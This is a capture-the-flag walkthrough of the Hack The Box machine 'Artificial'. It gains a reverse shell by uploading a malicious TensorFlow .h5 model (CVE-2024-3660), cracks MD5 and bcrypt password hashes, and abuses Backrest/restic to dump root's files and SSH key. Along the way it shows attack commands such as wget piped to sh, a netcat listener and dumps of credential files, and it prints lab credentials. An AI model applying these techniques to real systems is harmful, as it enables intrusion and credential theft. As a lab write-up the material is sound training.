Skip to main content

Starting the box


Link to the box: https://app.hackthebox.com/machines/Artificial.

Port Scan

We start off the box by running a port scan on the provided IP.
Attacker Linux
rustscan --ulimit 5000 -a 10.10.11.74 -r 1-65535 -- -A -vvv -oN Artificial
Output of Nmap:
Terminal Output
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/...
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)

80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
A few key notes:
  • Port 22 (SSH) is open. Running OpenSSH 8.2p1 — we’ll keep this in mind for later.
  • Port 80 (HTTP) is open, served by nginx 1.18.0. The Nmap output tells us the server immediately redirects to http://artificial.htb/, so we need to add this to our hosts file.
  • OS is Linux (Ubuntu).

Edit the Hosts file

As always, we edit the /etc/hosts file to add the hostname:
Attacker Linux
sudo nano /etc/hosts
/etc/hosts
Nano Interface
10.10.11.74 artificial.htb

Initial Foothold


Enumerating Port 22: SSH

OpenSSH 8.2p1 doesn’t have any straightforward publicly known exploits. Without credentials, SSH isn’t useful right now. Let’s focus on the web server.

Enumerating Port 80: Web Server

Directory Busting

Feroxbuster:
Attacker Linux
feroxbuster -u http://artificial.htb -C 404
Terminal Output
200      GET       28l       60w      857c http://artificial.htb/login
302      GET        5l       22w      189c http://artificial.htb/logout => http://artificial.htb/
200      GET       33l       65w      952c http://artificial.htb/register
200      GET      313l      666w     6610c http://artificial.htb/static/css/styles.css
200      GET       33l       73w      999c http://artificial.htb/static/js/scripts.js
200      GET      161l      472w     5442c http://artificial.htb/
302      GET        5l       22w      199c http://artificial.htb/dashboard => http://artificial.htb/login
  • /login and /register endpoints exist — we can create an account.
  • /dashboard redirects to /login, confirming it requires authentication.
  • Nothing too unusual yet. Let’s explore the application.

Manual Enumeration

After registering an account and logging in, the dashboard greets us with:
Terminal Output
Your Models
Upload, manage, and run your AI models here.
  • This is an AI model management platform that lets users upload models.
  • We tried template injection payloads in available input fields — nothing returned.
The application provides a Dockerfile and requirements.txt for download, which immediately tells us the server-side environment: Dockerfile:
Terminal Output
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/.../tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]
requirements.txt:
Terminal Output
tensorflow-cpu==2.13.1
  • The server is running TensorFlow 2.13.1 in a Python 3.8 environment.
  • The upload endpoint expects .h5 files — the standard format for saving Keras/TensorFlow models.
The page also includes a sample model-building script:
Terminal Output
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
...
model.save('profits_model.h5')
  • This confirms .h5 is the expected format and that models are loaded server-side. This is a classic file-upload-to-RCE scenario if the model format is unsafe.

Exploiting TensorFlow: Malicious .h5 Model (CVE-2024-3660)

A quick search reveals CVE-2024-3660 — Remote Code Execution via a malicious TensorFlow/Keras model. When the server loads an untrusted .h5 model file, arbitrary Python code embedded in the model’s Lambda layers gets executed.
  • Splinter0/tensorflow-rce — exploit PoC for CVE-2024-3660
  • The vulnerability affects TensorFlow 2.13 — which is exactly what this box uses.

Building the Exploit in Docker

Since we need to generate the malicious .h5 file in an environment that matches the target (TensorFlow 2.13 / Python 3.8), we use the provided Dockerfile to build a matching container.
We hit a frustrating wall initially — running the exploit inside Docker on our Kali VM (VirtualBox) consistently produced:
Terminal Output
root@8c5b369369f7:/code# python /app/exploit.py
Illegal instruction (core dumped)
This turned out to be a known VirtualBox/QEMU CPU compatibility issue with certain TensorFlow builds — not a problem with the exploit itself. After trying various approaches (clearing Docker cache, rebuilding from scratch), the fix was to run Docker on Windows via WSL instead of inside the VirtualBox VM. This resolved the Illegal instruction error immediately.
Steps to build and run the exploit container: Step 1: Build the Docker image from the provided Dockerfile (inside the folder containing it):
Attacker Linux
sudo docker build -t artificial .
Step 2: Run the container with our working directory mounted so we can access the generated exploit file:
Attacker Linux
sudo docker run -it -v $(pwd):/app artificial
  • -v $(pwd):/app mounts our current directory into /app inside the container, so files created inside are accessible on our host.
Inside the container, we run the exploit script to generate a malicious exploit.h5 file with a reverse shell payload embedded in a Lambda layer.

Getting a Shell

We upload the generated exploit.h5 via the web dashboard. The server loads the model, triggering our embedded payload. Our listener catches the connection:
Attacker Linux
nc -nlvp 4444
Terminal Output
listening on [any] 4444 ...
connect to [10.10.14.x] from (UNKNOWN) [10.10.11.74] ...
$ whoami
app
  • We have a shell as the app user.

Post-Initial Enumeration (as app)

Finding Credentials in the Flask App

Let’s look at the web application source. We find the Flask secret key in app.py:
Terminal Output
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
  • Noted for potential session forging, though we won’t need it.

Finding the SQLite Database

Searching the app’s instance directory, we find a user database:
Terminal Output
app@artificial:~/app/instance$ sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user
sqlite> select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
2|mark|[email protected]|0f3d8c76530022670f1c6029eed09ccb
3|robert|[email protected]|b606c5f5136170f15444251665638b36
4|royer|[email protected]|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|[email protected]|bf041041e57f1aff3be7ea1abd6129d0
  • Five users with password hashes. The 32-character hex format is MD5 (hashcat mode 0).
  • Let’s target gael first — they’re likely the primary user on the box.

Cracking gael’s Hash

Attacker Linux
hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt
Terminal Output
c99175974b6e192936d97224638a34f8:mattp005numbertwo
Terminal Output
gael:mattp005numbertwo
We also check /etc/passwd to confirm gael has a shell:
Terminal Output
gael:x:1000:1000:gael:/home/gael:/bin/bash

Logging in as gael

Attacker Linux
Terminal Output
gael@artificial:~$ ls
user.txt
gael@artificial:~$ cat user.txt
42550009838ced1ae7aa3a56397487b6
  • User flag: 42550009838ced1ae7aa3a56397487b6.

Privilege Escalation


Post-ex Enumeration

Running LinPEAS

Let’s transfer and run LinPEAS to look for escalation paths:
Attacker Linux
python -m http.server 8088
Terminal Output
gael@artificial:/tmp$ wget 10.10.14.x:8088/linpeas.sh && sh ./linpeas.sh
A few key findings: Active Ports:
Terminal Output
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
  • Port 9898 is listening locally — likely the Backrest service we saw in /opt.
  • Port 5000 is also internal (probably the Flask app backend).
Interesting backup file:
Terminal Output
drwxr-xr-x 2 root root 4096 Sep 27 06:25 /var/backups
-rw-r----- 1 root sysadm 52357120 Mar  4  2025 backrest_backup.tar.gz
  • A large backup archive owned by root, group-readable by sysadm. Let’s check if we’re in that group.

Discovering Backrest

Terminal Output
gael@artificial:/opt/backrest$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
  • We’re in the sysadm group, so we can read backrest_backup.tar.gz.
Let’s look at what’s in /opt/backrest:
Terminal Output
gael@artificial:/opt/backrest$ ls -la
total 51116
drwxr-xr-x 5 root root         4096 Sep 27 07:50 .
drwxr-xr-x 3 root root         4096 Mar  4  2025 ..
-rwxr-xr-x 1 app  ssl-cert 25690264 Feb 16  2025 backrest
drwxr-xr-x 3 root root         4096 Mar  3  2025 .config
-rwxr-xr-x 1 app  ssl-cert     3025 Mar  3  2025 install.sh
-rw------- 1 root root           64 Mar  3  2025 jwt-secret
-rw-r--r-- 1 root root        77824 Sep 27 07:50 oplog.sqlite
-rwxr-xr-x 1 root root     26501272 Mar  3  2025 restic
drwxr-xr-x 2 root root         4096 Mar  3  2025 processlogs
drwxr-xr-x 3 root root         4096 Sep 27 07:50 tasklogs
  • backrest is a backup management tool running as root, with a web UI on port 9898.
  • restic is the underlying backup engine. It’s listed on GTFOBins as a tool that can be abused for privilege escalation.
Running ./backrest shows us the version and confirms the web UI is bound to 127.0.0.1:9898:
Terminal Output
2025-09-27T08:00:15.050Z        INFO    starting web server 127.0.0.1:9898
2025-09-27T08:00:15.050Z        ERROR   error starting server   {"error": "listen tcp 127.0.0.1:9898: bind: address already in use"}
  • The service is already running. We need to access it from our attacker machine via port forwarding.

Accessing Backrest via SSH Port Forwarding

Attacker Linux
ssh -N -L 0.0.0.0:9898:127.0.0.1:9898 [email protected]
Now we can browse to http://127.0.0.1:9898 on our machine. The Backrest login page is presented — but our current credentials don’t work.
Terminal Output
Backrest 1.7.2
  • No public exploits for this version. We need valid credentials.

Extracting Credentials from the Backup Archive

Let’s pull the backup archive down to our machine:
Attacker Linux
scp [email protected]:/var/backups/backrest_backup.tar.gz /home/kali/Desktop/HTB/Artificial/backrest_backup.tar.gz
Extract it (note: despite the .gz extension, it’s a plain .tar):
Attacker Linux
tar -xvf backrest_backup.tar.gz
Inside we find a config.json with Backrest’s user configuration:
Terminal Output
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
  • A user named backrest_root with a passwordBcrypt field. The value looks like base64 — let’s decode it.
Attacker Linux
echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
Terminal Output
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
  • A bcrypt hash ($2a$). Hashcat mode 3200.
Attacker Linux
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Terminal Output
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
Terminal Output
backrest_root:!@#$%^
  • Logged into the Backrest web UI.

Abusing Backrest to Read Root Files

With admin access to Backrest, we can configure backup repositories and run backup jobs. Since restic (Backrest’s backend) runs as root, we can use it to read any file on the system. The approach:
  1. Create a new backup repository at /tmp/backup
  2. Add the /root directory as a backup source
  3. Run the backup job to snapshot the /root directory
  4. Use the web CLI to dump files directly from the snapshot
Using the Backrest web CLI:
Terminal Output
snapshots
This shows us the snapshot ID. We then dump the root flag:
Terminal Output
dump 23bf160b /root/root.txt
Terminal Output
command: /opt/backrest/restic dump 23bf160b /root/root.txt -o sftp.args=-oBatchMode=yes
0f05692aec3981fe17d04719ff75f304
  • Root flag: 0f05692aec3981fe17d04719ff75f304.
Let’s also grab root’s SSH private key for persistence:
Terminal Output
dump 11590e78 /root/.ssh/id_rsa
Terminal Output
command: /opt/backrest/restic dump 11590e78 /root/.ssh/id_rsa -o sftp.args=-oBatchMode=yes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5dXD22h0xZcysyHyRfknbJXk5O9tVagc1wiwaxGDi+eHE8vb5/Yq
...
-----END OPENSSH PRIVATE KEY-----
  • We now have root’s private key and can SSH in directly as root.

Key Learnings


1. TensorFlow/Keras Malicious Model RCE (CVE-2024-3660)

TensorFlow’s .h5 model format supports Lambda layers that execute arbitrary Python code when the model is loaded. By crafting a malicious .h5 file with a reverse shell payload in a Lambda layer, any application that loads untrusted models is vulnerable to RCE. Applications should never load model files from untrusted sources, and TensorFlow ≥ 2.13 is affected.

2. Docker Environment Compatibility

When generating exploit files that rely on specific library versions, the execution environment matters. Running Docker inside VirtualBox can cause Illegal instruction (core dumped) errors due to CPU instruction set mismatches (AVX/AVX2). If this happens, try running Docker natively on Windows via WSL instead.

3. Encoded Hashes in Configuration Files

Backup tools and other services sometimes store bcrypt hashes in their config files encoded in base64 rather than raw. Always run suspected hash strings through a base64 decode before attempting to crack them — a $2a$ prefix after decoding indicates bcrypt (hashcat mode 3200).

4. Abusing Backup Tools for Privileged File Read

Backrest (and its backend restic) runs with elevated privileges to perform system backups. If an attacker gains admin access to the Backrest web UI, they can configure a backup job targeting any directory (e.g., /root) and use the dump command to read arbitrary privileged files, including root.txt and SSH private keys.

Tags


Initial Access

#Web_Exploit #File_Upload #AI_Model_RCE #Public_Exploit #Credentials_Hunting

Privilege Escalation

#Credentials_Hunting #Backup_Abuse #Backup_Tools
Last modified on February 17, 2026